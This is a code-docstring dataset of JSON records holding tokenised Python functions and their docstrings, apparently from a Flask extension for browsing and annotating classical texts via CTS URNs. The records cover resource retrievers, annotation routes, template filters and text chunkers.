{"signature": "def resolve(self, uri):", "body": "for r in self.__retrievers__:<EOL><INDENT>if r.match(uri):<EOL><INDENT>return r<EOL><DEDENT><DEDENT>raise UnresolvableURIError()<EOL>", "docstring": "Resolve a Resource identified by URI\n        :param uri: The URI of the resource to be resolved\n        :type uri: str\n        :return: the contents of the resource as a string\n        :rtype: str", "id": "f9924:c1:m1"}
{"signature": "def match(self, uri):", "body": "<EOL>return False<EOL>", "docstring": "Check to see if this URI is retrievable by this Retriever implementation\n        :param uri: the URI of the resource to be retrieved\n        :type uri: str\n        :return: True if it can be, False if not\n        :rtype: bool", "id": "f9924:c2:m0"}
{"signature": "def read(self, uri):", "body": "return None, \"<STR_LIT>\"<EOL>", "docstring": "Retrieve the contents of the resource\n        :param uri: the URI of the resource to be retrieved\n        :type uri: str\n        :return: the contents of the resource and it's mime type in a tuple\n        :rtype: str, str", "id": "f9924:c2:m1"}
{"signature": "def match(self, uri):", "body": "<EOL>return HTTPRetriever.__reg_exp__.match(uri) is not None<EOL>", "docstring": "Check to see if this URI is retrievable by this Retriever implementation\n\n        :param uri: the URI of the resource to be retrieved\n        :type uri: str\n        :return: True if it can be, False if not\n        :rtype: bool", "id": "f9924:c3:m0"}
{"signature": "def read(self, uri):", "body": "req = request(\"<STR_LIT:GET>\", uri)<EOL>return req.content, req.headers['<STR_LIT:Content-Type>']<EOL>", "docstring": "Retrieve the contents of the resource\n\n        :param uri: the URI of the resource to be retrieved\n        :type uri: str\n        :return: the contents of the resource\n        :rtype: str", "id": "f9924:c3:m1"}
{"signature": "def __absolute__(self, uri):", "body": "return op.abspath(op.join(self.__path__, uri))<EOL>", "docstring": "Get the absolute uri for a file\n\n        :param uri: URI of the resource to be retrieved\n        :return: Absolute Path", "id": "f9924:c4:m1"}
{"signature": "def match(self, uri):", "body": "absolute_uri = self.__absolute__(uri)<EOL>return absolute_uri.startswith(self.__path__) and op.exists(absolute_uri)<EOL>", "docstring": "Check to see if this URI is retrievable by this Retriever implementation\n\n        :param uri: the URI of the resource to be retrieved\n        :type uri: str\n        :return: True if it can be, False if not\n        :rtype: bool", "id": "f9924:c4:m2"}
{"signature": "def read(self, uri):", "body": "uri = self.__absolute__(uri)<EOL>mime, _ = guess_type(uri)<EOL>if \"<STR_LIT:image>\" in mime:<EOL><INDENT>return send_file(uri), mime<EOL><DEDENT>else:<EOL><INDENT>with open(uri, \"<STR_LIT:r>\") as f:<EOL><INDENT>file = f.read()<EOL><DEDENT><DEDENT>return file, mime<EOL>", "docstring": "Retrieve the contents of the resource\n\n        :param uri: the URI of the resource to be retrieved\n        :type uri: str\n        :return: the contents of the resource\n        :rtype: str", "id": "f9924:c4:m3"}
{"signature": "@staticmethod<EOL><INDENT>def match(uri):<DEDENT>", "body": "<EOL>return CTSRetriever.__reg_exp__.match(uri) is not None<EOL>", "docstring": "Check to see if this URI is retrievable by this Retriever implementation\n\n        :param uri: the URI of the resource to be retrieved\n        :type uri: str\n        :return: True if it can be, False if not\n        :rtype: bool", "id": "f9924:c5:m1"}
{"signature": "def read(self, uri):", "body": "return self.__resolver__.getTextualNode(uri).export(Mimetypes.XML.TEI), \"<STR_LIT>\"<EOL>", "docstring": "Retrieve the contents of the resource\n\n        :param uri: the URI of the resource to be retrieved\n        :type uri: str\n        :return: the contents of the resource\n        :rtype: str", "id": "f9924:c5:m2"}
{"signature": "def process(self, nemo):", "body": "self.__nemo__ = nemo<EOL>for annotation in self.__annotations__:<EOL><INDENT>annotation.target.expanded = frozenset(<EOL>self.__getinnerreffs__(<EOL>objectId=annotation.target.objectId,<EOL>subreference=annotation.target.subreference<EOL>)<EOL>)<EOL><DEDENT>", "docstring": "Register nemo and parses annotations\n\n        .. note:: Process parses the annotation and extends informations about the target URNs by retrieving resource in range\n\n        :param nemo: Nemo", "id": "f9925:c0:m2"}
{"signature": "def __get_resource_metadata__(self, objectId):", "body": "return self.textResolver.getMetadata(objectId)<EOL>", "docstring": "Return a metadata text object\n\n        :param objectId: objectId of the text\n        :return: Text", "id": "f9925:c0:m3"}
{"signature": "def __getinnerreffs__(self, objectId, subreference):", "body": "level = <NUM_LIT:0><EOL>yield subreference<EOL>while level > -<NUM_LIT:1>:<EOL><INDENT>reffs = self.__nemo__.resolver.getReffs(<EOL>objectId,<EOL>subreference=subreference,<EOL>level=level<EOL>)<EOL>if len(reffs) == <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT>else:<EOL><INDENT>for r in reffs:<EOL><INDENT>yield r<EOL><DEDENT>level += <NUM_LIT:1><EOL><DEDENT><DEDENT>", "docstring": "Resolve the list of urns between in a range\n\n        :param text_metadata: Resource Metadata\n        :param objectId: ID of the Text\n        :type objectId: str\n        :param subreference: ID of the Text\n        :type subreference: str\n        :return: References in the span", "id": "f9925:c0:m7"}
{"signature": "def to_json(self):", "body": "if self.subreference is not None:<EOL><INDENT>return {<EOL>\"<STR_LIT:source>\": self.objectId,<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT:type>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:value>\": self.subreference<EOL>}<EOL>}<EOL><DEDENT>else:<EOL><INDENT>return {\"<STR_LIT:source>\": self.objectId}<EOL><DEDENT>", "docstring": "Method to call to get a serializable object for json.dump or jsonify based on the target\n\n        :return: dict", "id": "f9926:c0:m3"}
{"signature": "def read(self):", "body": "if not self.__content__:<EOL><INDENT>self.__retriever__ = self.__resolver__.resolve(self.uri)<EOL>self.__content__, self.__mimetype__ = self.__retriever__.read(self.uri)<EOL><DEDENT>return self.__content__<EOL>", "docstring": "Read the contents of the Annotation Resource\n\n        :return: the contents of the resource\n        :rtype: str or bytes or flask.response", "id": "f9926:c1:m8"}
{"signature": "def expand(self):", "body": "<EOL>return []<EOL>", "docstring": "Expand the contents of the Annotation if it is expandable  (i.e. if it references  multiple resources)\n\n        :return: the list of expanded resources\n        :rtype: list(AnnotationResource)", "id": "f9926:c1:m9"}
{"signature": "def getAnnotations(self, targets, wildcard=\"<STR_LIT:.>\", include=None, exclude=None, limit=None, start=<NUM_LIT:1>, expand=False,<EOL>**kwargs):", "body": "return <NUM_LIT:0>, []<EOL>", "docstring": "Retrieve annotations from the query provider\n\n        :param targets: The CTS URN(s) to query as the target of annotations\n        :type targets: [MyCapytain.common.reference.URN], URN or None\n        :param wildcard: Wildcard specifier for how to match the URN\n        :type wildcard: str\n        :param include: URI(s) of Annotation types to include in the results\n        :type include: list(str)\n        :param exclude: URI(s) of Annotation types to include in the results\n        :type exclude: list(str)\n        :param limit: The max number of results to return (Default is None for no limit)\n        :type limit: int\n        :param start: the starting record to return (Default is 1)\n        :type start: int \n        :param expand: Flag to state whether Annotations are expanded (Default is False)\n        :type expand: bool\n\n        :return: Tuple representing the query results. The first element\n                 The first element is the number of total Annotations found\n                 The second element is the list of Annotations\n        :rtype: (int, list(Annotation)\n\n        .. note::\n\n            Wildcard should be one of the following value\n\n            - '.' to match exact,\n            - '.%' to match exact plus lower in the hierarchy\n            - '%.' to match exact + higher in the hierarchy\n            - '-' to match in the range\n            - '%.%' to match all", "id": "f9927:c0:m1"}
{"signature": "def getResource(self, sha):", "body": "return None<EOL>", "docstring": "Retrieve a single annotation resource by sha\n\n        :param sha: The sha of the resource\n        :type sha: str\n        :return: the requested annotation resource\n        :rtype: AnnotationResource", "id": "f9927:c0:m2"}
{"signature": "def f_slugify(string):", "body": "return slugify(string)<EOL>", "docstring": "Slugify a string\n\n    :param string: String to slugify\n    :return: Slugified string", "id": "f9929:m0"}
{"signature": "def f_formatting_passage_reference(string):", "body": "return string.split(\"<STR_LIT:->\")[<NUM_LIT:0>]<EOL>", "docstring": "Get the first part only of a two parts reference\n\n    :param string: A urn reference part\n    :type string: str\n    :return: First part only of the two parts reference\n    :rtype: str", "id": "f9929:m1"}
{"signature": "def f_i18n_iso(isocode, lang=\"<STR_LIT>\"):", "body": "if lang not in flask_nemo._data.AVAILABLE_TRANSLATIONS:<EOL><INDENT>lang = \"<STR_LIT>\"<EOL><DEDENT>try:<EOL><INDENT>return flask_nemo._data.ISOCODES[isocode][lang]<EOL><DEDENT>except KeyError:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>", "docstring": "Replace isocode by its language equivalent\n\n    :param isocode: Three character long language code\n    :param lang: Lang in which to return the language name\n    :return: Full Text Language Name", "id": "f9929:m2"}
{"signature": "def f_order_resource_by_lang(versions_list):", "body": "return sorted(versions_list, key=itemgetter(\"<STR_LIT>\"))<EOL>", "docstring": "Takes a list of versions and put translations after editions\n\n    :param versions_list: List of text versions\n    :type versions_list: [Text]\n    :return: List where first members will be editions\n    :rtype: [Text]", "id": "f9929:m3"}
{"signature": "def f_hierarchical_passages(reffs, citation):", "body": "d = OrderedDict()<EOL>levels = [x for x in citation]<EOL>for cit, name in reffs:<EOL><INDENT>ref = cit.split('<STR_LIT:->')[<NUM_LIT:0>]<EOL>levs = ['<STR_LIT>'.format(levels[i].name, v) for i, v in enumerate(ref.split('<STR_LIT:.>'))]<EOL>getFromDict(d, levs[:-<NUM_LIT:1>])[name] = cit<EOL><DEDENT>return d<EOL>", "docstring": "A function to construct a hierarchical dictionary representing the different citation layers of a text\n\n    :param reffs: passage references with human-readable equivalent\n    :type reffs: [(str, str)]\n    :param citation: Main Citation\n    :type citation: Citation\n    :return: nested dictionary representing where keys represent the names of the levels and the final values represent the passage reference\n    :rtype: OrderedDict", "id": "f9929:m4"}
{"signature": "def f_is_str(value):", "body": "return isinstance(value, str)<EOL>", "docstring": "Check if object is a string\n\n    :param value: object to check against\n    :return: Return if value is a string", "id": "f9929:m5"}
{"signature": "def f_i18n_citation_type(string, lang=\"<STR_LIT>\"):", "body": "s = \"<STR_LIT:U+0020>\".join(string.strip(\"<STR_LIT:%>\").split(\"<STR_LIT:|>\"))<EOL>return s.capitalize()<EOL>", "docstring": "Take a string of form %citation_type|passage% and format it for human\n\n    :param string: String of formation %citation_type|passage%\n    :param lang: Language to translate to\n    :return: Human Readable string\n\n    .. note :: To Do : Use i18n tools and provide real i18n", "id": "f9929:m6"}
{"signature": "def f_annotation_filter(annotations, type_uri, number):", "body": "filtered = [<EOL>annotation<EOL>for annotation in annotations<EOL>if annotation.type_uri == type_uri<EOL>]<EOL>number = min([len(filtered), number])<EOL>if number == <NUM_LIT:0>:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>return filtered[number-<NUM_LIT:1>]<EOL><DEDENT>", "docstring": "Annotation filtering filter\n\n    :param annotations: List of annotations\n    :type annotations: [AnnotationResource]\n    :param type_uri: URI Type on which to filter\n    :type type_uri: str\n    :param number: Number of the annotation to return\n    :type number: int\n    :return: Annotation(s) matching the request\n    :rtype: [AnnotationResource] or AnnotationResource", "id": "f9929:m7"}
{"signature": "def render(self, **kwargs):", "body": "breadcrumbs = []<EOL>breadcrumbs = []<EOL>if \"<STR_LIT>\" in kwargs:<EOL><INDENT>breadcrumbs = [{<EOL>\"<STR_LIT:title>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:args>\": {}<EOL>}]<EOL>if \"<STR_LIT>\" in kwargs[\"<STR_LIT>\"]:<EOL><INDENT>breadcrumbs += [<EOL>{<EOL>\"<STR_LIT:title>\": parent[\"<STR_LIT:label>\"],<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:args>\": {<EOL>\"<STR_LIT>\": parent[\"<STR_LIT:id>\"],<EOL>\"<STR_LIT>\": f_slugify(parent[\"<STR_LIT:label>\"]),<EOL>},<EOL>}<EOL>for parent in kwargs[\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL>][::-<NUM_LIT:1>]<EOL><DEDENT>if \"<STR_LIT>\" in kwargs[\"<STR_LIT>\"]:<EOL><INDENT>breadcrumbs.append({<EOL>\"<STR_LIT:title>\": kwargs[\"<STR_LIT>\"][\"<STR_LIT>\"][\"<STR_LIT:label>\"],<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT:args>\": {}<EOL>})<EOL><DEDENT><DEDENT>if len(breadcrumbs) > <NUM_LIT:0>:<EOL><INDENT>breadcrumbs[-<NUM_LIT:1>][\"<STR_LIT>\"] = None<EOL><DEDENT>return {\"<STR_LIT>\": breadcrumbs}<EOL>", "docstring": "Make breadcrumbs for a route\n\n        :param kwargs: dictionary of named arguments used to construct the view\n        :type kwargs: dict\n        :return: List of dict items the view can use to construct the link.\n        :rtype: {str: list({ \"link\": str, \"title\", str, \"args\", dict})}", "id": "f9930:c0:m0"}
{"signature": "def r_annotations(self):", "body": "target = request.args.get(\"<STR_LIT:target>\", None)<EOL>wildcard = request.args.get(\"<STR_LIT>\", \"<STR_LIT:.>\", type=str)<EOL>include = request.args.get(\"<STR_LIT>\")<EOL>exclude = request.args.get(\"<STR_LIT>\")<EOL>limit = request.args.get(\"<STR_LIT>\", None, type=int)<EOL>start = request.args.get(\"<STR_LIT:start>\", <NUM_LIT:1>, type=int)<EOL>expand = request.args.get(\"<STR_LIT>\", False, type=bool)<EOL>if target:<EOL><INDENT>try:<EOL><INDENT>urn = MyCapytain.common.reference.URN(target)<EOL><DEDENT>except ValueError:<EOL><INDENT>return \"<STR_LIT>\", <NUM_LIT><EOL><DEDENT>count, annotations = self.__queryinterface__.getAnnotations(urn, wildcard=wildcard, include=include,<EOL>exclude=exclude, limit=limit, start=start,<EOL>expand=expand)<EOL><DEDENT>else:<EOL><INDENT>count, annotations = self.__queryinterface__.getAnnotations(None, limit=limit, start=start, expand=expand)<EOL><DEDENT>mapped = []<EOL>response = {<EOL>\"<STR_LIT>\": type(self).JSONLD_CONTEXT,<EOL>\"<STR_LIT:id>\": url_for(\"<STR_LIT>\", start=start, limit=limit),<EOL>\"<STR_LIT:type>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": start,<EOL>\"<STR_LIT>\": [<EOL>],<EOL>\"<STR_LIT>\": count<EOL>}<EOL>for a in annotations:<EOL><INDENT>mapped.append({<EOL>\"<STR_LIT:id>\": url_for(\"<STR_LIT>\", sha=a.sha),<EOL>\"<STR_LIT:body>\": url_for(\"<STR_LIT>\", sha=a.sha),<EOL>\"<STR_LIT:type>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:target>\": a.target.to_json(),<EOL>\"<STR_LIT>\": a.type_uri,<EOL>\"<STR_LIT>\": [a.uri],<EOL>\"<STR_LIT>\": a.slug<EOL>})<EOL><DEDENT>response[\"<STR_LIT>\"] = mapped<EOL>response = jsonify(response)<EOL>return response<EOL>", "docstring": "Route to retrieve annotations by target\n\n        :param target_urn: The CTS URN for which to retrieve annotations  \n        :type target_urn: str\n        :return: a JSON string containing count and list of resources\n        :rtype: {str: Any}", "id": "f9931:c0:m1"}
{"signature": "def r_annotation(self, sha):", "body": "annotation = self.__queryinterface__.getResource(sha)<EOL>if not annotation:<EOL><INDENT>return \"<STR_LIT>\", <NUM_LIT><EOL><DEDENT>response = {<EOL>\"<STR_LIT>\": type(self).JSONLD_CONTEXT,<EOL>\"<STR_LIT:id>\": url_for(\"<STR_LIT>\", sha=annotation.sha),<EOL>\"<STR_LIT:body>\": url_for(\"<STR_LIT>\", sha=annotation.sha),<EOL>\"<STR_LIT:type>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:target>\": annotation.target.to_json(),<EOL>\"<STR_LIT>\": [annotation.uri],<EOL>\"<STR_LIT>\": annotation.type_uri,<EOL>\"<STR_LIT>\": annotation.slug<EOL>}<EOL>return jsonify(response)<EOL>", "docstring": "Route to retrieve contents of an annotation resource\n\n        :param uri: The uri of the annotation resource\n        :type uri: str\n        :return: annotation contents\n        :rtype: {str: Any}", "id": "f9931:c0:m2"}
{"signature": "def r_annotation_body(self, sha):", "body": "annotation = self.__queryinterface__.getResource(sha)<EOL>if not annotation:<EOL><INDENT>return \"<STR_LIT>\", <NUM_LIT><EOL><DEDENT>content = annotation.read()<EOL>if isinstance(content, Response):<EOL><INDENT>return content<EOL><DEDENT>headers = {\"<STR_LIT:Content-Type>\": annotation.mimetype}<EOL>return Response(content, headers=headers)<EOL>", "docstring": "Route to retrieve contents of an annotation resource\n\n        :param uri: The uri of the annotation resource\n        :type uri: str\n        :return: annotation contents\n        :rtype: {str: Any}", "id": "f9931:c0:m3"}
{"signature": "def resource_qualifier(resource):", "body": "if resource.startswith(\"<STR_LIT>\") or resource.startswith(\"<STR_LIT:http>\"):<EOL><INDENT>return resource, None<EOL><DEDENT>else:<EOL><INDENT>return reversed(op.split(resource))<EOL><DEDENT>", "docstring": "Split a resource in (filename, directory) tuple with taking care of external resources\n\n    :param resource: A file path or a URI\n    :return: (Filename, Directory) for files, (URI, None) for URI", "id": "f9932:m0"}
{"signature": "def join_or_single(start, end):", "body": "if start == end:<EOL><INDENT>return start<EOL><DEDENT>else:<EOL><INDENT>return \"<STR_LIT>\".format(<EOL>start,<EOL>end<EOL>)<EOL><DEDENT>", "docstring": "Join passages range. If they are the same, return a single part of the range\n\n    :param start: Start of the passage range\n    :param end: End of the passage range\n    :return: Finale Passage Chunk Identifier", "id": "f9932:m1"}
{"signature": "def getFromDict(dataDict, keyList):", "body": "return reduce(create_hierarchy, keyList, dataDict)<EOL>", "docstring": "Retrieves and creates when necessary a dictionary in nested dictionaries\n\n    :param dataDict: a dictionary\n    :param keyList: list of keys\n    :return: target dictionary", "id": "f9932:m2"}
{"signature": "def create_hierarchy(hierarchy, level):", "body": "if level not in hierarchy:<EOL><INDENT>hierarchy[level] = OrderedDict()<EOL><DEDENT>return hierarchy[level]<EOL>", "docstring": "Create an OrderedDict\n\n    :param hierarchy: a dictionary\n    :param level: single key\n    :return: deeper dictionary", "id": "f9932:m3"}
{"signature": "def default_chunker(text, getreffs):", "body": "level = len(text.citation)<EOL>return [tuple([reff.split(\"<STR_LIT::>\")[-<NUM_LIT:1>]]*<NUM_LIT:2>) for reff in getreffs(level=level)]<EOL>", "docstring": "This is the default chunker which will resolve the reference giving a callback (getreffs) and a text object with its metadata\n\n    :param text: Text Object representing either an edition or a translation\n    :type text: MyCapytains.resources.inventory.Text\n    :param getreffs: callback function which retrieves a list of references\n    :type getreffs: function\n\n    :return: List of urn references with their human readable version\n    :rtype: [(str, str)]", "id": "f9933:m0"}
{"signature": "def scheme_chunker(text, getreffs):", "body": "level = len(text.citation)<EOL>types = [citation.name for citation in text.citation]<EOL>if types == [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>level = <NUM_LIT:2><EOL><DEDENT>elif types == [\"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>return line_chunker(text, getreffs)<EOL><DEDENT>return [tuple([reff.split(\"<STR_LIT::>\")[-<NUM_LIT:1>]]*<NUM_LIT:2>) for reff in getreffs(level=level)]<EOL>", "docstring": "This is the scheme chunker which will resolve the reference giving a callback (getreffs) and a text object with its metadata\n\n    :param text: Text Object representing either an edition or a translation\n    :type text: MyCapytains.resources.inventory.Text\n    :param getreffs: callback function which retrieves a list of references\n    :type getreffs: function\n\n    :return: List of urn references with their human readable version\n    :rtype: [(str, str)]", "id": "f9933:m1"}
{"signature": "def line_chunker(text, getreffs, lines=<NUM_LIT:30>):", "body": "level = len(text.citation)<EOL>source_reffs = [reff.split(\"<STR_LIT::>\")[-<NUM_LIT:1>] for reff in getreffs(level=level)]<EOL>reffs = []<EOL>i = <NUM_LIT:0><EOL>while i + lines - <NUM_LIT:1> < len(source_reffs):<EOL><INDENT>reffs.append(tuple([source_reffs[i]+\"<STR_LIT:->\"+source_reffs[i+lines-<NUM_LIT:1>], source_reffs[i]]))<EOL>i += lines<EOL><DEDENT>if i < len(source_reffs):<EOL><INDENT>reffs.append(tuple([source_reffs[i]+\"<STR_LIT:->\"+source_reffs[len(source_reffs)-<NUM_LIT:1>], source_reffs[i]]))<EOL><DEDENT>return reffs<EOL>", "docstring": "Groups line reference together\n\n    :param text: Text object\n    :type text: MyCapytains.resources.text.api\n    :param getreffs: Callback function to retrieve text\n    :type getreffs: function(level)\n    :param lines: Number of lines to use by group\n    :type lines: int\n    :return: List of grouped urn references with their human readable version\n    :rtype: [(str, str)]", "id": "f9933:m2"}
{"signature": "def level_chunker(text, getreffs, level=<NUM_LIT:1>):", "body": "references = getreffs(level=level)<EOL>return [(ref.split(\"<STR_LIT::>\")[-<NUM_LIT:1>], ref.split(\"<STR_LIT::>\")[-<NUM_LIT:1>]) for ref in references]<EOL>", "docstring": "Chunk a text at the passage level\n\n    :param text: Text object\n    :type text: MyCapytains.resources.text.api\n    :param getreffs: Callback function to retrieve text\n    :type getreffs: function(level)\n    :return: List of urn references with their human readable version\n    :rtype: [(str, str)]", "id": "f9933:m3"}
{"signature": "def level_grouper(text, getreffs, level=None, groupby=<NUM_LIT:20>):", "body": "if level is None or level > len(text.citation):<EOL><INDENT>level = len(text.citation)<EOL><DEDENT>references = [ref.split(\"<STR_LIT::>\")[-<NUM_LIT:1>] for ref in getreffs(level=level)]<EOL>_refs = OrderedDict()<EOL>for key in references:<EOL><INDENT>k = \"<STR_LIT:.>\".join(key.split(\"<STR_LIT:.>\")[:level-<NUM_LIT:1>])<EOL>if k not in _refs:<EOL><INDENT>_refs[k] = []<EOL><DEDENT>_refs[k].append(key)<EOL>del k<EOL><DEDENT>return [<EOL>(<EOL>join_or_single(ref[<NUM_LIT:0>], ref[-<NUM_LIT:1>]),<EOL>join_or_single(ref[<NUM_LIT:0>], ref[-<NUM_LIT:1>])<EOL>)<EOL>for sublist in _refs.values()<EOL>for ref in [<EOL>sublist[i:i+groupby]<EOL>for i in range(<NUM_LIT:0>, len(sublist), groupby)<EOL>]<EOL>]<EOL>", "docstring": "Alternative to level_chunker: groups levels together at the latest level\n\n    :param text: Text object\n    :param getreffs: GetValidReff query callback\n    :param level: Level of citation to retrieve\n    :param groupby: Number of level to groupby\n    :return: Automatically curated references", "id": "f9933:m4"}
{"signature": "def _plugin_endpoint_rename(fn_name, instance):", "body": "if instance and instance.namespaced:<EOL><INDENT>fn_name = \"<STR_LIT>\".format(instance.name, fn_name[<NUM_LIT:2>:])<EOL><DEDENT>return fn_name<EOL>", "docstring": "Rename endpoint function name to avoid conflict when namespacing is set to true\n\n    :param fn_name: Name of the route function\n    :param instance: Instance bound to the function\n    :return: Name of the new namespaced function name", "id": "f9934:m0"}
{"signature": "@property<EOL><INDENT>def plugins(self):<DEDENT>", "body": "return self.__plugins__<EOL>", "docstring": "Dictionary of registered plugins\n\n        :rtype: dict", "id": "f9934:c0:m1"}
{"signature": "@property<EOL><INDENT>def assets(self):<DEDENT>", "body": "return self.__assets__<EOL>", "docstring": "Dictionary of assets (First level : type, second level resource)\n\n        :rtype: dict", "id": "f9934:c0:m2"}
{"signature": "@property<EOL><INDENT>def inventory(self):<DEDENT>", "body": "return self.get_inventory()<EOL>", "docstring": "Root collection of the application\n\n        :rtype: Collection", "id": "f9934:c0:m3"}
{"signature": "def init_app(self, app=None):", "body": "<EOL>if app:<EOL><INDENT>self.app = app<EOL><DEDENT>self.register()<EOL>", "docstring": "Initiate the application\n\n        :param app: Flask application on which to add the extension\n        :type app: flask.Flask", "id": "f9934:c0:m4"}
{"signature": "def get_locale(self):", "body": "best_match = request.accept_languages.best_match(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>if best_match is None:<EOL><INDENT>if len(request.accept_languages) > <NUM_LIT:0>:<EOL><INDENT>best_match = request.accept_languages[<NUM_LIT:0>][<NUM_LIT:0>][:<NUM_LIT:2>]<EOL><DEDENT>else:<EOL><INDENT>return self.__default_lang__<EOL><DEDENT><DEDENT>lang = self.__default_lang__<EOL>if best_match == \"<STR_LIT>\":<EOL><INDENT>lang = \"<STR_LIT>\"<EOL><DEDENT>elif best_match == \"<STR_LIT>\":<EOL><INDENT>lang = \"<STR_LIT>\"<EOL><DEDENT>elif best_match == \"<STR_LIT>\":<EOL><INDENT>lang = \"<STR_LIT>\"<EOL><DEDENT>elif best_match == \"<STR_LIT>\":<EOL><INDENT>lang = \"<STR_LIT>\"<EOL><DEDENT>return lang<EOL>", "docstring": "Retrieve the best matching locale using request headers\n\n        .. note:: Probably one of the thing to enhance quickly.\n\n        :rtype: str", "id": "f9934:c0:m5"}
{"signature": "def transform(self, work, xml, objectId, subreference=None):", "body": "<EOL>if str(objectId) in self._transform:<EOL><INDENT>func = self._transform[str(objectId)]<EOL><DEDENT>else:<EOL><INDENT>func = self._transform[\"<STR_LIT:default>\"]<EOL><DEDENT>if isinstance(func, str):<EOL><INDENT>with open(func) as f:<EOL><INDENT>xslt = etree.XSLT(etree.parse(f))<EOL><DEDENT>return etree.tostring(<EOL>xslt(xml),<EOL>encoding=str, method=\"<STR_LIT:html>\",<EOL>xml_declaration=None, pretty_print=False, with_tail=True, standalone=None<EOL>)<EOL><DEDENT>elif isinstance(func, Callable):<EOL><INDENT>return func(work, xml, objectId, subreference)<EOL><DEDENT>elif func is None:<EOL><INDENT>return etree.tostring(xml, encoding=str)<EOL><DEDENT>", "docstring": "Transform input according to potentially registered XSLT\n\n        .. note:: Since 1.0.0, transform takes an objectId parameter which represent the passage which is called\n\n        .. note:: Due to XSLT not being able to be used twice, we rexsltise the xml at every call of xslt\n\n        .. warning:: Until a C libxslt error is fixed ( https://bugzilla.gnome.org/show_bug.cgi?id=620102 ), \\\n        it is not possible to use strip tags in the xslt given to this application\n\n        :param work: Work object containing metadata about the xml\n        :type work: MyCapytains.resources.inventory.Text\n        :param xml: XML to transform\n        :type xml: etree._Element\n        :param objectId: Object Identifier\n        :type objectId: str\n        :param subreference: Subreference\n        :type subreference: str\n        :return: String representation of transformed resource\n        :rtype: str", "id": "f9934:c0:m6"}
{"signature": "def get_inventory(self):", "body": "if self._inventory is not None:<EOL><INDENT>return self._inventory<EOL><DEDENT>self._inventory = self.resolver.getMetadata()<EOL>return self._inventory<EOL>", "docstring": "Request the api endpoint to retrieve information about the inventory\n\n        :return: Main Collection\n        :rtype: Collection", "id": "f9934:c0:m7"}
{"signature": "def get_collection(self, objectId):", "body": "return self.inventory[objectId]<EOL>", "docstring": "Retrieve a collection in the inventory\n\n        :param objectId: Collection Identifier\n        :type objectId: str\n        :return: Requested collection\n        :rtype: Collection", "id": "f9934:c0:m8"}
{"signature": "def get_reffs(self, objectId, subreference=None, collection=None, export_collection=False):", "body": "if collection is not None:<EOL><INDENT>text = collection<EOL><DEDENT>else:<EOL><INDENT>text = self.get_collection(objectId)<EOL><DEDENT>reffs = self.chunk(<EOL>text,<EOL>lambda level: self.resolver.getReffs(objectId, level=level, subreference=subreference)<EOL>)<EOL>if export_collection is True:<EOL><INDENT>return text, reffs<EOL><DEDENT>return reffs<EOL>", "docstring": "Retrieve and transform a list of references.\n\n        Returns the inventory collection object with its metadata and a callback function taking a level parameter \\\n        and returning a list of strings.\n\n        :param objectId: Collection Identifier\n        :type objectId: str\n        :param subreference: Subreference from which to retrieve children\n        :type subreference: str\n        :param collection: Collection object bearing metadata\n        :type collection: Collection\n        :param export_collection: Return collection metadata\n        :type export_collection: bool\n        :return: Returns either the list of references, or the text collection object with its references as tuple\n        :rtype: (Collection, [str]) or [str]", "id": "f9934:c0:m9"}
{"signature": "def get_passage(self, objectId, subreference):", "body": "passage = self.resolver.getTextualNode(<EOL>textId=objectId,<EOL>subreference=subreference,<EOL>metadata=True<EOL>)<EOL>return passage<EOL>", "docstring": "Retrieve the passage identified by the parameters\n\n        :param objectId: Collection Identifier\n        :type objectId: str\n        :param subreference: Subreference of the passage\n        :type subreference: str\n        :return: An object bearing metadata and its text\n        :rtype: InteractiveTextualNode", "id": "f9934:c0:m10"}
{"signature": "def get_siblings(self, objectId, subreference, passage):", "body": "reffs = [reff for reff, _ in self.get_reffs(objectId)]<EOL>if subreference in reffs:<EOL><INDENT>index = reffs.index(subreference)<EOL>if <NUM_LIT:0> < index < len(reffs) - <NUM_LIT:1>:<EOL><INDENT>return reffs[index-<NUM_LIT:1>], reffs[index+<NUM_LIT:1>]<EOL><DEDENT>elif index == <NUM_LIT:0> and index < len(reffs) - <NUM_LIT:1>:<EOL><INDENT>return None, reffs[<NUM_LIT:1>]<EOL><DEDENT>elif index > <NUM_LIT:0> and index == len(reffs) - <NUM_LIT:1>:<EOL><INDENT>return reffs[index-<NUM_LIT:1>], None<EOL><DEDENT>else:<EOL><INDENT>return None, None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return passage.siblingsId<EOL><DEDENT>", "docstring": "Get siblings of a browsed subreference\n\n        .. note:: Since 1.0.0c, there is no more prevnext dict. Nemo uses the list of original\\\n        chunked references to retrieve next and previous, or simply relies on the resolver to get siblings\\\n        when the subreference is not found in given original chunks.\n\n        :param objectId: Id of the object\n        :param subreference: Subreference of the object\n        :param passage: Current Passage\n        :return: Previous and next references\n        :rtype: (str, str)", "id": "f9934:c0:m11"}
{"signature": "def semantic(self, collection, parent=None):", "body": "if parent is not None:<EOL><INDENT>collections = parent.parents[::-<NUM_LIT:1>] + [parent, collection]<EOL><DEDENT>else:<EOL><INDENT>collections = collection.parents[::-<NUM_LIT:1>] + [collection]<EOL><DEDENT>return filters.slugify(\"<STR_LIT>\".join([item.get_label() for item in collections if item.get_label()]))<EOL>", "docstring": "Generates a SEO friendly string for given collection\n\n        :param collection: Collection object to generate string for\n        :param parent: Current collection parent\n        :return: SEO/URL Friendly string", "id": "f9934:c0:m12"}
